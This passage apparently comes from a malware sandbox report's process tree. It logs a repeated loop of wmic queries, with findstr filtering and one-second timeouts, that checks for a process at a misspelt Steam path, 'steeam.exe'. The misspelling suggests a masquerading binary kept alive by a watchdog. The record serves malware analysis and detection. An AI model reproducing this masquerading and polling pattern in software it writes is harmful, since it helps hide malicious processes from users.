        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3516
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2752
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:396
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3104
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2480
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4588
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3032
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2520
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1596
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4532
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:568
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1416
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:3088
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4416
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2912
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1796
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2528
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4312
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3476
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3068
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4640
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3032
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3308
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:5028
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3628
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:568
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4532
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2008
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:3516
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2912
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1184
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2544
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3676
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2044
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3312
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:72
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:2392
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1536
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1468
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:5028
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:2432
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:228
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1356
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2992
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:1992
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4860
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2400
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3584
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1780
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2852
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4752
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4648
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1020
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:332
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4300
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:960
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:1396
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1772
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3080
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3684
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3104
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4872
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3148
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2740
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3112
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2396
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1920
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4444
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1856
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:5048
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4532
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4172
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3428
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1028
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4936
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4960
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3124
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1160
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4864
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4676
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2244
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2064
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4500
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3836
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1920
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1384
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:5028
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:5020
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:872
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1992
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:776
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3952
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2908
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1672
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:904
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3340
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1152
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4436
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3304
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4520
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1292
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3088
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4664
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2156
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1416
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1124
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3540
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4312
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2368
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4884
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2436
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3068
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3068 -s 268
        7⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3312
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:908
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1152
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3756
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1036
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4612
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2244
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2980
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3360
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3376
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3684
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3080
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1476
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1480
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4244
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3236
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4752
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1528
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:868
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1392
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4420
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3104
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1536
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2520
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1772
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1992
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4772
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1704
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:5020
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1032
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4960
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4588
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2884
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3876
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4728
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4752
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2268
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1392
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2184
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1152
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2952
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1264
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2472
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2472 -s 312
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3476
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1576
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3080
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3392
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:924
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1768
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2808
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2256
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1160
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4184
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1604
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3652
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2804
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1236
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:3752
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:5028
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4612
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2040
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:4764
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:568
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3376
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3080
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4960
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1768
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2724
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4648
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:2740
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4184
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3256
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2024
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2412
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2156
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3608
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3088
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:908
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3368
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1772
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2472
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:1408
      - C:\Windows\system32\cmd.exe
        
